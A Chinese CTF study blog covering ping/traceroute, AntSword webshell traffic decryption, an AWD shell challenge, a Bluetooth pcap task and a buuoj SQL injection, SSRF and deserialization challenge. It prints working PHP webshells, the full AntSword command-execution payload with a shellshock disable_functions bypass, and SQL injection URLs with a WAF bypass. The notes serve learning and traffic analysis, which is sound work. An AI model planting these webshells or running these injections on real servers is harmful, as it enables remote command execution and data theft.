0%

ping

ping命令用的是ICMP回送请求与回答,如果ping一个存在的主机的话,在不禁止ping的前提下会发一个ICMP回送回答,主机计算RTT,平均RTT与TTL。

tracert/traceroute

利用的是ping命令,把ttl从1往上加,当路由器收到ttl为1的数据包后-1变成0,会给源站发一个超时,但是存在的问题是如果该路由器对超时不处理的话,在源站看到的节点就变成了*,也有可能是某些路由器对tracert命令不可见。

webshell理解

webshell的本质是传入命令并且执行。
常见的php webshell

1
<?php eval($_POST['cmd'];?>)

shell.php
访问shell.php的时候post一个参数cmd,
如果传入的是cmd=system(“whoami”)的话就会执行whoami。
webshell相当于网站管理功能,提供列目录,修改文件,虚拟终端等操作,这些可视化操作的背后其实是一条条PHP语句写的,然后送到服务器执行,然后根据返回结果可视化到管理终端。
shell与waf一直在升级,衍生出了各种混淆方法。当然,waf也在抓特征流量进行拦截。

蚁剑流量分析

今天分析的是昨天没看完的蚁剑流量。发送数据采用RSA加密,服务器返回数据采用AES加密。
shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCd3U6xkZFNwFKSRlRa+Jsdy0/E
rkpoq9A/Xl58TfOL5ghxaQh91zWriwpsMVMdjkORzTNM0yrKoyF2+LjxzE2wW6Qt
/NC6dQgUKQQJk9ypgq4Po9ypxxI8AdtthKSelijpqD5YsXZYSFGCyLNaC33+pVp2
wQUED9OTJg9AuXIG4QIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);

首先模拟一次过程:启动虚拟终端并输入whoami查询。

在wireshark抓到数据包:

追踪HTTP流量:

对发送的数据进行还原

使用私钥加密的数据用公钥解密。
解密后数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php ant=@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out){@session_start();$key=@substr(str_pad(session_id(),16,'a'),0,16);return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));};
//采用AES加密输出,key为session前16位。
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "3c5e3e9640";echo @asenc($output);echo "cda10a9ad";}
//输出内容
ob_start();

try{$p=base64_decode($_POST["kba6818a1ddd35"]);$s=base64_decode($_POST["med28329bbe5b9"]);$envstr=@base64_decode($_POST["v610da0caba97e"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);
//获取下面post的参数,分别是cmd和whoami。
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}
if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}
//判断是Linux还是Windows
$r="{$p} {$c}";
//拼接命令
function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};

function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};
//命令执行函数
$ret=@runcmd($r." 2>&1");
//命令执行并且stderr重定向到stdout
print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};
asoutput();
//执行入口
die();

//这里是post的数据,对应上面的med28329bbe5b9和kba6818a1ddd35。。。&kba6818a1ddd35=Y21k&med28329bbe5b9=Y2QgL2QgIkU6XFxwaHBzdHVkeV9wcm9cXFdXV1xcdGVzdC5pbyImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd&v610da0caba97e=
?>

具体的操作写在上方注释里了,比较清楚。

实战

接下来启动虚拟终端,传入whoami ,并且执行,查看数据包。

返回数据解密

客户端收到数据后会用约定的key进行解密。
返回数据:
注意:返回的数据里面并不全是有效加密内容,前后存在两端干扰数据,可以在 代码中看到分别是3c5e3e9640和cda10a9ad。中间的数据才是真正有用的数据。
首先对中间的数据base64解密一次,然后使用AES-128-ECB解密。key为session前16位:substr(sessionid,0,16);。解密方法:openssl_decrypt($payload, ‘AES-128-ECB’, $key,OPENSSL_RAW_DATA)解密后数据:ZGVza3RvcC00dTgxYjg1XDY5MDI3DQpbU10NCkU6XHBocHN0dWR5X3Byb1xXV1dcdGVzdC5pbw0KW0VdIA0K
然后进行base64解密。解密后的数据:desktop-4u81b85\69027
[S]
E:\phpstudy_pro\WWW\test.io
[E]
就是执行whoami的结果。

总结

蚁剑流量分析算是看了一天,得益于前期对AES和RSA的基础知识,以至于不需要先看RSA和aes。。2333
在对shell和发送的代码进行分析的时候还是遇到了一点困难,有些地方只是大体明白了什么意思,比如识别是Linux还是Windows,但是细讲每一个函数的功能我还是不知道的。对此我的思路是既然目标是命令执行,那么就把底层的实现稍微抽象一点,不影响后续分析。
分析流量还是一件非常有意思的事情,虽然我没有机会打AWD,but I love AWD forever!!!!!!!

经过一下午的奋战,弄明白了awdshell这道题,下面说一下思路

参考链接:

https://xz.aliyun.com/t/6701
https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&mid=2247483852&idx=1&sn=3cd3f667523550d414fad97231eeeaea&chksm=e91c5a34de6bd3223f5c3e69aa12311be39d4c13ee8d222ddb81f97070c74698dc7ae7fcecba&mpshare=1&scene=23&srcid&sharer_sharetime=1572778022447&sharer_shareid=3bdf1b0c76d4c1691e700c57f87d9c0a%23rd
用到的知识:PHP OPENSSL,wireshark抓本地包(npcap),AES,wireshark流量分析、过滤语法、蚁剑RSA

解题过程

导出HTTP对象

首先常规操作就是导出http对象,发现有个upload.php,发现传了个不认识的马,写了公钥,考虑RSA加密。

可以确定,传了个马,思路的重点应该向与马的交互上考虑。

流量分析

通过过滤数据包,确定了上传后的文件命名为1581335771.php,于是在数据包中重点观察与该文件的交互。
使用过滤器,语法:http and ip.dst==139.224.112.182 and http.request.method==POST

按个追踪HTTP数据流看看呗,看看有啥有用的信息没。
追踪29543包的时候,发现了字符串L3Zhci93d3cvaHRtbC9hZG1pbi91cGxvYWQv,可能是base64,解一下发现是/var/www/html/admin/upload/,应该是文件的上传路径。
剩下的HTTP流挨个追踪,返回的数据都是加密后的,返回数据暂时没有什么有用的。于是继续注意发送的数据。
在追踪倒数第二个HTTP流的时候,发现了一些蛛丝马迹。发送的数据那有Y2QgIi92YXIvd3d3L2h0bWwvYWRtaW4vdXBsb2FkIjtjYXQgZmxhZztlY2hvIFtTXTtwd2Q7ZWNobyBbRV0=,经解密后发现是cd “/var/www/html/admin/upload”;cat flag;echo [S];pwd;echo [E],这里可能藏了flag。所以应该对该数据包发送的数据进行还原。

流量还原

由于导出HTP对象的时候有个公钥,考虑非对称加密(RSA),结合题目给的关键字ant与给出的shell的格式,可以确定这是用蚁剑连的shell,并且发送数据经过了RSA加密。
可以写个脚本把发送的数据还原出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$ant="GmFJzJHcsMOZxeGvb3Ulf4Y8e5RRhttAV1bsfypbvQAJW8IRFcqDVoXtyiclZwz2qXdQN8ivFYNqNxhkwtjbB7OitVLgULBfWlOnwtufxvmbmO4u8WlINbPbf/DbAy0Qx3GjBMFpFzrCkKINOfWQ5JqSD1EPx6sM9Cu1VkX5nus=|nL6Ds9dWn+UW5Jb0JAhoTb4rqPJJKbgcPNJfXLP1AKPbWHVE0JFSjClsnXWmFPXfeqPdKqcYxb/14hEwFzs51N5f6+NowrGHjYT+ObPKXpYxzg0vkCMihUMA7DI2YPUWEyPdvoIFg/bW5S3MommwKN9epOto55dtq6Pnb8NEHzY=|S4ic8EaKa3zEkRd7qsTGDs7uf3qiU1UVZE4fheQz3iq1HkiY6rIvAdtvcmsBF5aJWjdA/U2py1Mz105F2Tzm4dDX2Ag/rhX4ysiP8NJDEp+I55R0dfJu6szTOr3O2OTaUQK7iSYT4PKHjdo+rgeHK3hWzzMFAs6i2R9E81vz9WE=|FNCwxF7bDPNgizk4oa7bq4xbIObNCZNYNBdrTLMbYegWZ6FVYi54TLuABR/nkDLXq38cT099hjajM4iY+VL4g8tBRP++4LyPcSyzyC6mDtshAlmQtFteq4sGb+3IilDPekURxQ5RodRGBPtHr+nCNICbgmbqNaYKcVJRfMoK3q8=|m+nGWL1bOFJzaYeT54FtW12U3dWPZk5PJa91+YTtLn9Wg1c8JEf0FzI+YlBtpp6pW0fT7FfbTiJhQsv3f97bb3d+Cs7A5dM/ZG5YXDoDHGhRJKw0+TTHRIm3PH4fnbQNI8zhi5+9t2+0ueujAuXkk8i73A4lH36uKJFloL6yqs8=|YsyuPkbRlpDWwjhlkTThQN9GQXGkkzyNSFoxs5IfsRbbO7ZHphlFhL4yYsRYAgp8MkMJ64x7NfIGoVgDJnA1YgORiJOf8GP/p/28MLOuscy1SVN/lLnJzbhmf/7vfg0/Q94QAEWk2TOgSil0h3JDsgQYqDtFFldHWDnqEvYlWZI=|C2ZaL3MQWCQBmNcq8xAxxlhvXzUxo0qBz2PUIqBIMcKNJ3sgxU+RTqSwYoqPTDAg3//7rNa+dkinRAidD8GjrcSBd5qdbTLQlWZGME9Lv6JEFt0udTU0FVrhV/ctPz+z1NN5P4pN1tj35sNKsyfYH1kq13A+3dYk0wZlMU9KIFI=|l65yWzb3A97Cdu0wdn59Hiag/Um4/LZTrolCjwo9d7/J3Z9stTkaEtLe2XBdVQZsipUfnW2o7JWgQNo0TUbGWIv2H5wKGaTfPm7OTSkm+ao48Nn1d/+yME+RLudQqbmYREMAJFviNJST+H4Q+MqyngjMeGrb5jmlw0eQZ/MUx5Q=|EYwu5Y3rgl8k2KrPZjnGPWjriLI1mDeJwA4KhjvJ4wQs9Xx+ITDsxBr0eMfL/Km95ykbfMlZcrSzonx5hLiE2YLwDjX/cIIZxqzZXkEYq00AdAPrFnhFVdvJn/SHQ1LdGHgAN88Y2EOZOPM8ZXima61BxCY44TlrezIbBj4+eQ0=|Z2/dEUju0jw63PMHCK9CAG+tHmwiH0t3GraGPCes4TZT5hIfv6kHMTOgMthTK6sd5qy+EVw6d1Qxh03WMHVH0gR2aYqEl1RdYwQpN0NPsSM+fETsag3nQ4oV3VniGlaMmdFIiYatNvKNl7tOcapklyxEEIA0Jc33O7FDjUXKiHU=|YEVG5OctKJXP1Z7kywDJGrmb7BvXW/C3iQudtTCLgUIbMhXFq90wLvW7No7ZoqhY/Mh1XlJKtkBZJWEbsORW23hxvA5LCb/edsfJmIxWtj5cRG9g66j3BiEUPDjvtYi6beUjUtKmuSInELTkmIKf1jo5qyZE+VcWC4HfAT0wbFw=|ii/O42J/+ko4xPNfNuunKR7gyji/wtaiMcKMzQM2Qg7KZE/+xAcLX3Znh55OwgsfaTX6AedF+L/1hwMp9zigbvXorSE0TNay//nVlcnhhC4snAu2/hjXNoI3OnnWlfFFLYOj5v+1LN1nCU/UzoHV6/w1/4bVz7Maovj14BfXklI=|eay1qqOy5QmJmStB9EH4JKPms1In5agVigegn5/1IZS+0QpBgK37mWg02rspbMz20brtSgsv2PhJ3gMTFg3ib7z0cQZPvcNV6DTZwSHbUO2M1uQetssYMMnBPPulwLhTkND4SzwSsgDLS6m8TxbHL0qpZRcnNo2sMy478S5DkvM=|e4qLRtta2W6ItXy3HNgpYuQuSSzpsvq+SUfoRKWM8Z5QdiBeleS/YDGP0VZqRJh3CPMC6vbegwB7qNLAt6czTsHQTdTAJBLr5g4oTDc9Sxlk8A7vvK0ljLSgKjNw5s3BDa03jINPkc5BbDkrTaXMq01Bqcu5DPTTA0pO/Z9oq1Q=|RBdZrEGknOK+PCuQ1F2eTxKvAi50XD/Z1ccAItPJ+48VlSbOTZa/wkdr82K8LE56z0E4JtZDBVSj9I4TurU2bbmfCjKXGw9xlagS7YMr/hfyCy/2hrVveAkaBZDAtmnrM4nGpFxVpzArl124XlqEzh9cSS9LAnwkNm8j05D6mDc=|aZpV5K4m1Rwxd/Y9eOfJ0bRpIZybj2tSjuAEJI7Il/EV9ZC0pXLIkgWviG40pXQFGoEwGex7f0j/Je4ldLRKnrpsyZ+/3mZtHnHL4gepf+iVaULQ8jdHTVVnM1t4qLJk+RnhYbuFjcUy5Yo6rn0Cju8sPIdpEwvi8fvetIOGVJE=|fPGROe6VaAwzqmNuk86fnWT4LqandXTwuewTC80zI8xTFSj1S6YMxPROTHS94gXlCcLTfFjEW2VpH2tyANX1FBIw5sSjsuS6CQKuqiQo6ID975H5Ox+KkJs6XLP/l5Or34U3rryHzBooTrXQlDl21qoPBLdj5URgGrEq7wrvLVA=|jp3lUm3Gz2eZpB5zghEGom2syK8nBymkc6h3pKE/mIS8KW6gD2OFSEneFERI0jy26kVOBhxr3ZHY3WoL6s5aJepTuY7D6Dpz/REI+FzR2PlCo0WvyLQdOphMgbYef1SyYr1+DWK/JxxFjxtfVRZlwL7+OyHQjQ05oVHyq6juSEI=|h8tsCCKgjChZ5U/sZxeVPiF8hO+cB6qqfeWnTAMydEcLmR0iwvHcarZw4g2WH2ASvwIN0av4GzLSu2QtOM1u0y/OuVX3v9/Vp+nNMZ/Dog0NUxFIPD1HTgaK3w7DdnA6B6i26JooWAxKlTFgYmr0x7K53pmM6B8wVQu/ADsbFBE=|CdejrTSVZhSgL+3bhPQyuL7ho71i+L8VvpwNg+D84YnKdwbbbfgqIMu+gefCBmyzvhbhEeGR16/T/fZ4bkneak+fzZpgUrejrFbOETG2Rg9zViznPwBdku9FTlWUybaRD0CHKeY7nE93/G2yXWSpuk/7P594cAPi1qd2WnEbaBc=|Hnxjy7ZSfmn6B59Kv7VXu1mhtYdgGbOtsLsLqDX6K1dKhtHsGx0guy03qwqRA0XElDdJ3Dvgqi5lgb8SY6MiDf1c9u870K8S9xVTn6Y0lbZgtvPoDrobEiT6tGEQCRsUuXB6jbUTgnNPmaDAuidQZqdsSBIGZwQyzycgxHmaDuE=|Imz1om4RRCU1Wnyowe5SYFtICyD1BODveyZ497yURKcyMgoogUxi0cPCiyexdD9ciNYk6DGyimegT7zMeIA5oGfNg2EHbzuBJeSc4wqLCJtSmTe66inu3dqC4IDxt2ghkgFLSQZWqNOKOgUt1b5wgy3O/Y3iIzS888TuFSDm+RQ=|jldlrb8EHvWiKi5E/HBIrn4UUnzMZO8+6ugZ7hjZTtWI5Vg9EeWdmITpEpOQIWIXpOUhaI+VydVcom8e7Fe6gR6u4RPy5ChmFgjZhT03gwwNXzJeiaE6x7ZZjXGBZA3Lwu5gRns3s+hTM0Tm2vrhGOQDB41hDDi4N/Yb3MRn0PM=|UJKgd4FCzzzMeQEq+w3S17+3d+g9mM3JM2qZWkWHOIF3L/EiWpRhm18DuaWJ7veqQSA5pb3KGH9rKDvj2KHIDTUHl0gCiH1U5qeD+WqXFvLahN5O8ecrfgflUUip1SdE6aL6dYqzyplxF+qy3BVr2dKq+6UYlUiA5Bmn2lXSIyM=|LClEAJBfCO7HMhlu0ASDbetkR7sP4aOx9a/P4P0L5kLeGYrlrK4Qg3ZNl7Fd/gQ8KXAKs90XRE62pfZidMX1A4xj/IokC6nkXCNUIzi0PWPWdCzcBNiswbQtsTZhElecl8RyfaOSvxsiKclTvKbZYfQI5r0p0asBs5gKnK0FpT4=|paMu+DWwNp+5GRSiGn4QfFaS/ffXXKuBgP/qzsixnnBWMeXIVy/HT23Xdoc7/OdlIH8/rBKdrJt+7o6XUAbRGzND9sEuf0Ldh5npWln/EhSkGq+bqt1hDfmwwsoo2GJcNDHBhz6lQq2M4zoa9E9d04T3N/SE+3B7LFb0cxLE8aA=|Cz+hQca9uYZJPPJusvE1G8X12VF5iPFM83nOnszF38XQziVKd+D83N4IvoJPNdJLEtgbycIpg1bo5auK1u9n2Pv8z1jFHoaTzmPgDBFiAAv3NGd0m2vg09QwRxq84PD9Ey0dwT7C1w2e6M9wGJ6DoIhPhZQgvUKMyrmCAVmMo18=|h59BqEgdFq4a1HegvdVKeMWwiwQMQsaSzYOxbNCiPuCRGknF8dHHkQboB65gnjbNBDPVpiVoDBMDV+1sCc1yM8zqC494bDS7iopf/U3BBnZS2wCxeo1x78DUiEgzP6ILomxrhrMY2y5R9IbmhJQVkpiqMhPaCvvHzOZO6Pz9SHg=|gUSFO4uVnPAI4UVTKCdBqH/rD6BZZFPfhsVOzga0ohjOJhXW+pvAu4GSh+3FIGn6cpxBUILbsLjBSgmscqAbKV/nHRnQ8HjQUgnu5YM8KikKJV35OMt1Mo1P/qlF5bwzI969XDtUHtClPkznXuO4HyvGLj0/mJj0IauhxfDKhyU=|jkhijGHqR86l+YGh7fldHrzLfam9LUYfRt2nrqqgeqCoE6KO8khatGkzLPk8QgIjLti6P6d7AwwPdVLX3gsfv6bBhT26qUR1u5+AA8foNt5tH6Ej33OODcnkxcp19eFu+zWRG1zUDkBs5qtCJvZKnpSPFKxJ6Z2g0RAoKF3pqbY=|QayQ2dVrEz8KBgpVQjGRNbpRHgFhVK3e89fEzEKzlclezrZ7CBgjB6/Y0PPYSIeZldFEZficAzHXs+bFHALEMrkJlRMk36FMuqtn0YVs4cVy8AHxjb8QnJD9gsFC6q2EWmRo8w4ZdBvg1xyeg3D0vhOcZgNk78BGoSU2HhHK5xY=|Ncgk0CAlnik6xDFINohB1EqgT7tS8COpia8O9cuvi53lNlQWY4IWG2oZMgzNWeU/m8QL+EGqhrD6IflJDD/hDO/IFC6D2DEjeMofqJ/6sHXAt2lIV129SeUUjGdrxyxeWDtqu6iBDdDBtyfPVfeI/DMYOh46XkR0Wk5nBU2N7+U=|lOxi5A2Z8sa8+aw5rQm0g6gqukXMlwvLV7ykEiGWFRqFqDaRPnkVI8diKsvgBg0Btk94gXt2FX1polSNgIJL3E6GW9loo2OMSGBBg1KJ/6VC/DpLWy44VbZhrUB//hiXo3xua6h2DRDi4h5eFkkf2ZIjGjZBi+AqHQINUbetN54=|DRBn6EF3Eoj+wpOX2xhKhkrypPB+d2+8PyHzXwKL8QmOeaRufeCZ1/7Id4TQPXiRXOYsPDXVLr1tUWAUNfqIQisGxSL8lAgg9LzYNYxRUejuTsP2WmVSO21cYXTPlNYjJDR+BkTtOlAvBBp3fjwhOVlr1khuzAhl2Y799drdSFk=|VIJ6dfEfxNcc1eWhAL0dMWXkGSCnBqv+I+Hqs7mGdK9CG3sMH1LyhIEsYg/UPccftYAPeIqKitOpj4OlNbGQMlf8AIJgFvNceAl7HCwqf/6ggZzfcBx5r4HpCBI3cB2zOOOlX9AFVRcunk3rCZSsaeQ8QGsLC1q/2EImzQqSB5g=";
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCmXoXBvXeanxgl51HBm2J6HPNh
TQtfb8ICioE+n0Ni0DlBFHSBprbsWYKJywVfdhJbLDCCon68uA1UYuy0yteDog3j
OdweW2bscEGmeMXLQJfBHpQrg4wWoYJjD3QsKorYT6kdp1LRkuHE3PbpqvRtqO7A
LzrcBi88Eu7oZaPANwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $ant);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
print_r($cmd);
?>

还原后的数据是:

1
@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){@session_start();$key=@substr(str_pad(session_id(),16,'a'),0,16);return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));};;function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f3c7239848e0";echo @asenc($output);echo "05fda2646c";}ob_start();try{$p=base64_decode($_POST["t185a78b977a47"]);$s=base64_decode($_POST["wd0b7c7ca226cb"]);$envstr=@base64_decode($_POST["b8dcb72ce2ba93"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join(" ",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

代码审计

在这一串代码中可以发现有几个关键函数:asenc(),asoutput(),发现输出的内容是f3c7239848e0+asenc($output)+05fda2646c,asenc里面是用AES-128-ECB加密,key是session前16位,去包里找就行。

数据还原

接下来需要做的就是还原数据,通过代码审计可以知道base64(AES加密(base64(out)))后的内容是+L8pc9pJEhqPQ1cmL18eJXX9QGADkKnp8A1j7s4oX2Qo8YJNGNTbuaXu+OfynYgRewqyfLj/Wrg0rgKj/cRdO4zJMmfLfyFVB4pBRYeTetM0G/w/Px6+xI/WPlRrx/+MvK6eQyPr+xDqTX82AqiGrOYDwN94/vuGcLS7NAxhty4=
把这个解密就行了。解密方法:

1
2
$res=base64_decode("+L8pc9pJEhqPQ1cmL18eJXX9QGADkKnp8A1j7s4oX2Qo8YJNGNTbuaXu+OfynYgRewqyfLj/Wrg0rgKj/cRdO4zJMmfLfyFVB4pBRYeTetM0G/w/Px6+xI/WPlRrx/+MvK6eQyPr+xDqTX82AqiGrOYDwN94/vuGcLS7NAxhty4=");
$res=openssl_decrypt($payload, 'AES-128-ECB', $k,OPENSSL_RAW_DATA)

然后再做两次base64解密就可以得到flag了。(cat flag里面的文件也是base64加密的)

题目总结

这道题有点麻烦,主要是不了解蚁剑的流量特征。在awd中shell的免杀与waf永远是在不断迭代升级的。还需要学习的姿势有很多,应该多分析流量,总结特点。

蓝牙数据包

蓝牙这道题我一开始看到没什么思路,因为没有学过蓝牙相关的协议。于是从网上现学了点,发现传输数据使用的协议,搜了搜协议名还真搜出来个.7z文件。
搜出来之后把这玩意十六进制导入到010editor还原成.7z,提示需要输入密码,首先考虑伪加密,发现不是(其实360会自动修复伪加密)然后看文件名提示了密码是蓝牙的PIN,
于是在包中搜索“PIN”。
第一次搜索其实我搜到了。。但是没找到PIN,刚想爆破(PIN纯数字,位数少,好爆破)的时候朋友说你搜”PIN”就行。。。我。。吐了。
搜到PIN之后解压文件得到flag。

今天做buuoj做了一道web题,总的来说考察到了SQL注入、SSRF、反序列化的知识点。这三个考点我都想到了,但是一块考我是没想到的。

参考链接:
https://blog.csdn.net/weixin_43818995/article/details/104529233
https://blog.csdn.net/weixin_45425482/article/details/103868660
https://www.cnblogs.com/appleat/archive/2012/09/03/2669033.html
https://www.w3school.com.cn/sql/sql_union.asp

知识铺垫

MYSQL UNION SELECT :

比如
select username,password from user union select 1,2
UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
可以先根据orderby判断字段个数,判断完字段个数后根据union select 1,2,3…判断在哪儿显示。
对union UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名 这句话的举例:

MYSQL CONCAT GROUP_CONCAT

concat(str1,’separator’,str2) // separator是分隔符
可以在结果中连接多个字段 比如下图举例 连接username,password为一个字段。

group_concat()GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。
简单的来说就是把查询到的数据丢到一行显示,在注入的时候就不用一个个limit了。
比如查表名:select group_concat(table_name) from information_schema.tables where table_Schema=数据库名 一条可以查到该数据库所有的表名

SSRF

php的curl未经严格过滤可能导致SSRF(利用file协议。)

题目分析

进去之后注册,注册完不知道有啥用了,打开扫描器扫一下,扫到了robots.txt
robots.txt提示了有个user.php的备份,下载下来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

对该文件分析可以发现存在SSRF利用点,其他的暂时没想起来。然后看一下/view.php
注意url,穿了个参数。。maybe注入?
给个-1试试:报错。把绝对路径爆出来了:/var/www/html/view.php
再查查试试:-1 union select 1,2,3 给waf了 过滤了啥不知道 挨个试试,应该是过滤了 union select,把空格换成注释绕过。union//select成功绕过。
接下来就是判断列数,查数据库名,查表名,查字段。。
http://7f8c0885-83d5-462e-b56a-175f6b06308b.node3.buuoj.cn/view.php?no=-1%20union/
/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27 这是查字段
然后查data字段 http://7f8c0885-83d5-462e-b56a-175f6b06308b.node3.buuoj.cn/view.php?no=-1%20union/**/select%201,group_concat(data),3,4%20from%20users
发现数据是O:8:”UserInfo”:3:{s:4:”name”;s:6:”123123”;s:3:”age”;i:123123;s:4:”blog”;s:13:”www.baidu.com";}
眼熟不?序列化后的数据?是不是该想想反序列化的问题了?
然后读备份的代码,我们应该利用getBlogContents()方法进行SSRF,内容为file://var/www/html/flag.php,那么注册的时候能填这个不?当然过滤了。
所以,我们猜测,完整的流程应该是这样:
用户注册http开头的blog,把对象序列化后存入数据库,当用户查询的时候,查询到序列化数据反序列化,然后交给getBlogContents()方法去用curl发送请求。
